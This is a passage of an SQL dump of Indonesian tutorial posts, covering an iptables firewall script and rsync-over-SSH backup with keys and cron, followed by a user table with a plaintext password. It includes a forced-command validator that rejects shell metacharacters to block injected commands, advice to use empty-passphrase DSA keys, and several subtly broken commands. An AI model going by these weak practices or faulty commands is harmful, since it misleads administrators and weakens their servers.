dari mereka mempunyai otak Upnormal maksudnya melebihi kemampuan otak manusia yang jarang dipakai. :P(maaf)\r\n\r\n[code]\r\n#!/bin/bash\r\n\r\niptables -F\r\n\r\niptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT\r\n\r\n#PING\r\niptables -A OUTPUT -p icmp --icmp-type 8 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT\r\n#iptables -A INPUT -p icmp --icmp-type 0 -m state --state ESTABLISHED,RELATED -j ACCEPT\r\niptables -A INPUT -p icmp -m limit --limit 10/second -j ACCEPT\r\n\r\n\r\n#SSH\r\niptables -A INPUT -s ip_kantor_anda -m state --state NEW -p tcp --dport 9911 -j ACCEPT\r\niptables -A INPUT -s ip_rumah_anda -m state --state NEW -p tcp --dport 9911 -j ACCEPT\r\n\r\n\r\n#WWW\r\niptables -A INPUT -m state --state NEW -p tcp --dport 80 -j ACCEPT\r\n\r\n#iptables -A INPUT -m state --state NEW -p tcp --dport 81 -j ACCEPT\r\n\r\n#MYSQL\r\niptables -A INPUT -s 127.0.0.1 -m state --state NEW -p tcp --dport 3306 -j ACCEPT\r\niptables -A INPUT -s ip_kantor_anda -m state --state NEW -p tcp --dport 3306 -j ACCEPT\r\niptables -A INPUT -s ip_rumah_anda -m state --state NEW -p tcp --dport 3306 -j ACCEPT\r\n\r\n#DNS\r\niptables -A INPUT -m state --state NEW -p tcp --dport 53 -j ACCEPT\r\niptables -A INPUT -m state --state NEW -p udp --dport 53 -j ACCEPT\r\n\r\n#EMAIL\r\niptables -A INPUT -m state --state NEW -p udp --dport 953 -j ACCEPT\r\n\r\n#WEBMIN\r\niptables -A INPUT -s ip_kantor_anda -m state --state NEW -p tcp --dport 9922-j ACCEPT\r\niptables -A INPUT -s ip_rumah_anda -m state --state NEW -p tcp --dport 9922 -j ACCEPT\r\n\r\niptables -A INPUT -j DROP\r\niptables -L\r\n[/code]\r\n\r\nSemoga bermanfaat.',1,1,4);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (135,'2009-03-11 22:46:18','Synchronize dan Backup Data di Unix/Linux menggunakan Rsync and SSH Keys, Validating, and Automation','Synchronize dan Backup Data di Unix/Linux menggunakan Rsync and SSH\r\nKeys, Validating, and Automation \r\n\r\nMungkin anda sudah mempunyai pandangan mengenai apa yang saya tulis dari judul di atas. Yak kita akan membuat Synchronize, yaitu kita bisa mensinkronkan antara data server dengan lokal, atau sebaliknya mengsinkronkan antara data local dengan data sever. Tutorial kali ini sangat penting jika anda memiliki tugas melakukan backup data, atau sinkronisasi antara server-server yang anda miliki. \r\n\r\nUntuk melakukan tersebut kita akan menggunakan :\r\n1. rsync\r\n2. openssh(ssh)\r\n3. cron/crontab/vixie-cron\r\n\r\nKita akan melakukan studi kasus sebagai berikut. Kita akan melakukan synchronize data local-server ke server-utama anda. Apa yang harus kita lakukan?\r\nPertama kali saya ingin mengetes bawah \"rsync\" anda bekerja dengan baik. Silahkan melakukan test sebagai berikut:\r\n[code]\r\n$ rsync -avz -e ssh /home/terong/data/ server@bayem-server:/home/bayem/data/\r\n\r\n//jika ssh server anda menggunakan port yang berbeda lakukan test sebagai beritku. \r\n//Hal ini memang sangat disarankan, untuk keaamanan server anda. Di bawah ini contoh ssh anda menggunakan port 1122\r\n$ rsync -avz -e --rsh=\'ssh -p1122\' /home/data/ server@bayem-server:/home/data/\r\n[/code]\r\n\r\n\r\nConfigure Local-server \"Terong-Server\"\r\n\r\nSekarang melakukan konfigurasi ssh-keygen di server local \"TERONG-SERVER\", agar nanti bisa login secara otomatis ke server utama dalam kasus ini adalah \"BAYEM-SERVER\".\r\n[code]\r\n$ ssh-keygen -t dsa -b 1024 -f /home/terong/terong-rsync-key\r\nGenerating public/private dsa key pair.\r\nEnter passphrase (empty for no passphrase): [pencet enter saja jangan diisi]\r\nEnter same passphrase again: [pencet enter saja jangan diisi]\r\nYour identification has been saved in /home/terong/terong-rsync-key.\r\nYour public key has been saved in /home/terong/terong-rsync-key.pub.\r\nThe key fingerprint is:\r\n2e:28:d9:ec:85:21:e7:ff:73:df:2e:07:78:f0:d0:a0 terong@terong-server \r\n[/code]\r\nHasil dari script di atas adalah 2 file yaitu: terong-rsync-key dan terong-rsync-key.pub. 2 file ini sangat penting.\r\n\r\nSelanjutnya kita copy-kan \"terong-rsync-key\" ke BAYEM-SERVER, taruh dalam folder sebagai berikut:\r\n[code]\r\n/home/bayem/ ke /home/bayem/.ssh/authorized_keys\r\n[/code]\r\n\r\nUntuk upload ke server gunakan SCP, berikut contohnya:\r\n[code]\r\n$ scp /home/terong/terong-rsync-key.pub bayem@bayem-server:/home/bayem/\r\n\r\n//jika menggunakan port lain dalam kasus ini menggunakan port 1122 berikut contohnya\r\n$ scp -P 1122 /home/terong/terong-rsync-key.pub bayem@bayem-server:/home/bayem/\r\n[/code]\r\n\r\n\r\nConfigure Server \"Bayem-Server\"\r\n\r\nYak setelah terong-rsync-key.pub sudah terupload di \"bayem-server\" ini kita akan melakukan konfigurasi sesuai dengan yang saya jelaskan diatas\r\n[code]\r\n//bikin folder \".ssh\", jika beluma ada buat\r\n$ if [ ! -d .ssh ]; then mkdir .ssh ; chmod 700 .ssh ; fi\r\n\r\n//pindah terong-rsync-key.pub ke folder .shh/\r\n$ mv terong-rsync-key.pub .ssh/\r\n\r\n//masuk ke folder .ssh\r\n$ cd .ssh/\r\n\r\n//jika belum ada file authorized_keys buat.\r\n$ if [ ! -f authorized_keys ]; then touch authorized_keys ; chmod 600 authorized_keys ; fi\r\n\r\n//masukkan text terong-rsync-key.pub e authrized_keys\r\n$ cat terong-rsync-key.pub >> authorized_keys \r\n[/code]\r\n\r\nFile \"authorized_keys\" harus diubah terlebih dahulu. \r\nfile awal:\r\n[code]\r\nssh-dss AAAAB3NzaC1kc3MAAAEBAKYJenaYvMG3nHwWxKwlWLjHb77CT2hXwmC8Ap+fG8wjlaY/9t4u\r\nA+2qx9JNorgdrWKhHSKHokFFlWRj+qk3q+lGHS+hsXuvta44W0yD0y0sW62wrEVegz+JVmntxeYc0nDz\r\n5tVGfZe6ydlgomzj1bhfdpYe+BAwop8L+EMqKLS4iSacNjoPlHsmqHMnbibn3tBqJEq2QJjEPaiYj1iP\r\n5IaCuYBhuTKQGa+oyH3mXEif5CKdsIKBj46B0tCy0/GC7oWcUN92QdLrUyTeRJZsTWsxKpRbMliD2pBh\r\n4oyX/aXEf8+HZBrO5vQjDBCfTFQA+35Xrd3eTVEjkGkncI0SAeUAAAAVAMZSASmQ9Pi38mdm6oiVXD55\r\nKk2rAAABAE/bA402VuCsOLg9YS0NKxugT+o4UuIjyl6b2/cMmBVWO39lWAjcsKK/zEdJbrOdt/sKsxIK\r\n1/ZIvtl92DLlMhci5c4tBjCODey4yjLhApjWgvX9D5OPp89qhah4zu509uNX7uH58Zw/+m6ZOLHN28mV\r\n5KLUl7FTL2KZ583KrcWkUA0Id4ptUa9CAkcqn/gWkHMptgVwaZKlqZ+QtEa0V2IwUDWS097p3SlLvozw\r\n46+ucWxwTJttCHLzUmNN7w1cIv0w/OHh5IGh+wWjV9pbO0VT3/r2jxkzqksKOYAb5CYzSNRyEwp+NIKr\r\nY+aJz7myu4Unn9de4cYsuXoAB6FQ5I8AAAEBAJSmDndXJCm7G66qdu3ElsLT0Jlz/es9F27r+xrg5pZ5\r\nGjfBCRvHNo2DF4YW9MKdUQiv+ILMY8OISduTeu32nyA7dwx7z5M8b+DtasRAa1U03EfpvRQps6ovu79m\r\nbt1OE8LS9ql8trx8qyIpYmJxmzIdBQ+kzkY+9ZlaXsaU0Ssuda7xPrX4405CbnKcpvM6q6okMP86Ejjn\r\n75Cfzhv65hJkCjbiF7FZxosCRIuYbhEEKu2Z9Dgh+ZbsZ+9FETZVzKBs4fySA6dIw6zmGINd+KY6umMW\r\nyJNej2Sia70fu3XLHj2yBgN5cy8arlZ80q1Mcy763RjYGkR/FkLJ611HWIA= terong@terong-server\r\n[/code]\r\n\r\nRubah menjadi seperti di bawah ini. Maksudnya penambahan adalah jika dari ip \"10.10.1.5\" maka perbolehkan mengkesekusi file \"/home/bayem/validate-rsync\". Sedangkan ip \"10.10.1.5\" adalah ip dari server TERONG-SERVER.\r\n[code]\r\nfrom=\"10.10.1.5\",command=\"/home/bayem/validate-rsync\" ssh-dss AAAAB3Nza\r\nC1kc3MAAAEBAKYJenaYvMG3nHwWxKwlWLjHb77CT2hXwmC8Ap+fG8wjlaY/9t4uA+2qx9JNorgdrWKhH\r\nSKHokFFlWRj+qk3q+lGHS+hsXuvta44W0yD0y0sW62wrEVegz+JVmntxeYc0nDz5tVGfZe6ydlgomzj1\r\nbhfdpYe+BAwop8L+EMqKLS4iSacNjoPlHsmqHMnbibn3tBqJEq2QJjEPaiYj1iP5IaCuYBhuTKQGa+oy\r\nH3mXEif5CKdsIKBj46B0tCy0/GC7oWcUN92QdLrUyTeRJZsTWsxKpRbMliD2pBh4oyX/aXEf8+HZBrO5\r\nvQjDBCfTFQA+35Xrd3eTVEjkGkncI0SAeUAAAAVAMZSASmQ9Pi38mdm6oiVXD55Kk2rAAABAE/bA402V\r\nuCsOLg9YS0NKxugT+o4UuIjyl6b2/cMmBVWO39lWAjcsKK/zEdJbrOdt/sKsxIK1/ZIvtl92DLlMhci5\r\nc4tBjCODey4yjLhApjWgvX9D5OPp89qhah4zu509uNX7uH58Zw/+m6ZOLHN28mV5KLUl7FTL2KZ583Kr\r\ncWkUA0Id4ptUa9CAkcqn/gWkHMptgVwaZKlqZ+QtEa0V2IwUDWS097p3SlLvozw46+ucWxwTJttCHLzU\r\nmNN7w1cIv0w/OHh5IGh+wWjV9pbO0VT3/r2jxkzqksKOYAb5CYzSNRyEwp+NIKrY+aJz7myu4Unn9de4\r\ncYsuXoAB6FQ5I8AAAEBAJSmDndXJCm7G66qdu3ElsLT0Jlz/es9F27r+xrg5pZ5GjfBCRvHNo2DF4YW9\r\nMKdUQiv+ILMY8OISduTeu32nyA7dwx7z5M8b+DtasRAa1U03EfpvRQps6ovu79mbt1OE8LS9ql8trx8q\r\nyIpYmJxmzIdBQ+kzkY+9ZlaXsaU0Ssuda7xPrX4405CbnKcpvM6q6okMP86Ejjn75Cfzhv65hJkCjbiF\r\n7FZxosCRIuYbhEEKu2Z9Dgh+ZbsZ+9FETZVzKBs4fySA6dIw6zmGINd+KY6umMWyJNej2Sia70fu3XLH\r\nj2yBgN5cy8arlZ80q1Mcy763RjYGkR/FkLJ611HWIA= terong@terong-server\r\n[/code]\r\n\r\nOk sekarng bikin file \"/home/bayem/validate-rsync\" isi dengan script sebagai berikut:\r\n[code]\r\n#!/bin/sh\r\n\r\ncase \"$SSH_ORIGINAL_COMMAND\" in\r\n*\\&*)\r\necho \"Rejected\"\r\n;;\r\n*\\(*)\r\necho \"Rejected\"\r\n;;\r\n*\\{*)\r\necho \"Rejected\"\r\n;;\r\n*\\;*)\r\necho \"Rejected\"\r\n;;\r\n*\\<*)\r\necho \"Rejected\"\r\n;;\r\n*\\`*)\r\necho \"Rejected\"\r\n;;\r\n*\\|*)\r\necho \"Rejected\"\r\n;;\r\nrsync\\ --server*)\r\n$SSH_ORIGINAL_COMMAND\r\n;;\r\n*)\r\necho \"Rejected\"\r\n;;\r\nesac \r\n[/code]\r\n\r\nDan patikan settingan pada ssh \"/etc/ssh/sshd_config\"di BAYEM-SERVER sudah di open sebagai berikut:\r\n[code]\r\nRSAAuthentication yes\r\nPubkeyAuthentication yes\r\nAuthorizedKeysFile %h/.ssh/authorized_keys\r\n[/code]\r\n\r\nPastikan contoh bash command dibawah ini lancar tanpa error suatu apa pun:\r\n[code]\r\nrsync -avvvz -er \"ssh -i /home/terong/terong-rsync-key\" /home/terong/data/ bayem@bayem-server:/home/bayem/data\r\n\r\n//jika anda menggunakan port lain sebagai berikut:\r\nrsync -avvvz -er --rsh=\'ssh -p1122 -i /home/terong/terong-rsync-key\" /home/terong/data/ bayem@bayem-server:/home/bayem/data\r\n[/code]\r\n\r\nConfigurasi Cron Job\r\nBuat bash script sebagai berikut. Berinama \"sync_ter_bay.sh\"\r\n[code]\r\n#!/bin/sh\r\n\r\nRSYNC=/usr/bin/rsync\r\nSSH=/usr/bin/ssh\r\nKEY=/home/terong/terong-rsync-key\r\nRUSER=bayem\r\nRHOST=bayem-server\r\nRPATH=/home/bayem/data/\r\nLPATH=/home/terong/data/\r\n\r\n$RSYNC -az -e \"$SSH -i $KEY\" $LPATH $RUSER@$RHOST:$RPATH\r\n[/code]\r\n\r\nPasang di crontab anda dengan perintah \"crontab -e\", configurasi di bawah ini akan melakukan synchronize tiap 2 jam sekali.\r\n[code]\r\n0 */2 * * * /home/terong/sync_ter_bay.sh\r\n[/code]\r\n\r\nOk sekian semoga bermanfaat. :)',1,1,4);

/*Table structure for table `user` */

DROP TABLE IF EXISTS `user`;

CREATE TABLE `user` (
`userId` int(11) NOT NULL auto_increment,
`userName` varchar(20) default NULL,
`userPassword` varchar(50) default NULL,
`userStatus` tinyint(1) default NULL,
`userMail` varchar(50) default NULL,
PRIMARY KEY (`userId`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

/*Data for the table `user` */

insert into `user` (`userId`,`userName`,`userPassword`,`userStatus`,`userMail`) values (1,'mamat','mamat',1,'abumamail@gmail.com');

SET SQL_MODE=@OLD_SQL_MODE;

Change log

r7 by Abumamail on Mar 19, 2009   Diff
Smarty Project Example
Go to: 
Project members, sign in to write a code review

Older revisions

All revisions of this file

File info

Size: 811714 bytes, 292 lines
Powered by Google Project Hosting